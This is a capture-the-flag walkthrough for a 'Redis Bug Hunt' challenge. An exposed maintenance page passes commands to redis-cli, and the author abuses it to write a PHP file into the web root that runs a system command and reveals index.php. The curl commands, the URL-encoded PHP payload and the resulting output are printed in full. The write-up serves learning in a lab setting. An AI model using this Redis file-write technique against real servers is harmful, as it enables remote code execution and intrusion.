Skip to content

Redis Bug Hunt

Holly Evergreen:

Hi, so glad to see you! I'm Holly Evergreen.

I've been working with this Redis-based terminal here.

We're quite sure there's a bug in it, but we haven't caught it yet.

The maintenance port is available for curling, if you'd like to investigate.

Can you check the source of the index.php page and look for the bug?

I read something online recently about remote code execution on Redis. That might help!

I think I got close to RCE, but I get mixed up between commas and plusses.

You'll figure it out, I'm sure!

Location

Middle of the Kitchen (see map)

Hints

This is kind of what we're trying to do...

Solution

The MOTD gives us a starting place:

We need your help!!

The server stopped working, all that's left is the maintenance port.

To access it, run:

curl http://localhost/maintenance.php

We're pretty sure the bug is in the index page. Can you somehow use the
maintenance page to view the source code for the index page?

If we curl the URL we're given, we get the following error

ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1

The error shows us how to send a command with no arguments, and one with arguments. When in doubt, RTFM:

player@1a8c9b563534:~$ curl http://localhost/maintenance.php?cmd=help
Running: redis-cli --raw -a '<password censored>' 'help'

redis-cli 5.0.3
To get help about Redis commands type:
      "help @<group>" to get a list of commands in <group>
      "help <command>" for help on <command>
      "help <tab>" to get a list of possible help topics
      "quit" to exit

To set redis-cli preferences:
      ":set hints" enable online hints
      ":set nohints" disable online hints
Set your preferences in ~/.redisclirc

So the server appears to be passing our cmd argument to redis-cli. The reference website we are given contains a section discussing using redis-cli to gain RCE via a webshell. While this might be useful, in our case we just need to get the contents of index.php as Holly said. We can use the same idea, but instead of attempting a reverse shell or webshell, we cat the contents of index.php using the PHP system command. We send the following commands

player@1a8c9b563534:~$ curl http://localhost/maintenance.php?cmd=flushall
Running: redis-cli --raw -a '<password censored>' 'flushall'

OK
player@1a8c9b563534:~$ curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
Running: redis-cli --raw -a '<password censored>' 'config' 'set' 'dir' '/var/www/html'

OK
player@1a8c9b563534:~$ curl http://localhost/maintenance.php?cmd=config,set,dbfilename,output.php
Running: redis-cli --raw -a '<password censored>' 'config' 'set' 'dbfilename' 'output.php'

OK
player@1a8c9b563534:~$ curl http://localhost/maintenance.php?cmd=set,test,%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%61%74%20%69%6e%64%65%78%2e%70%68%70%27%29%3b%3f%3e
Running: redis-cli --raw -a '<password censored>' 'set' 'test' '<?php system('\''cat index.php'\'');?>'

OK
player@1a8c9b563534:~$ curl http://localhost/maintenance.php?cmd=save
Running: redis-cli --raw -a '<password censored>' 'save'

OK
player@1a8c9b563534:~$ curl http://localhost/output.php --output output
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   592  100   592    0     0   115k      0 --:--:-- --:--:-- --:--:--  144k
player@1a8c9b563534:~$ cat output
REDIS0009�      redis-ver5.0.3�
redis-bits�@�ctime�
��_used-mem¨
 aof-preamble��� test <?php

# We found the bug!!
#
#         \   /
#         .\-/.
#     /\ ()   ()
#       \/~---~\.-~^-.
# .-~^-./   |   \---.
#      {    |    }   \
#    .-~\   |   /~-.
#   /    \  A  /    \
#         \/ \/
# 

echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going on"
?>

When this output crosses the screen, the challenge is complete.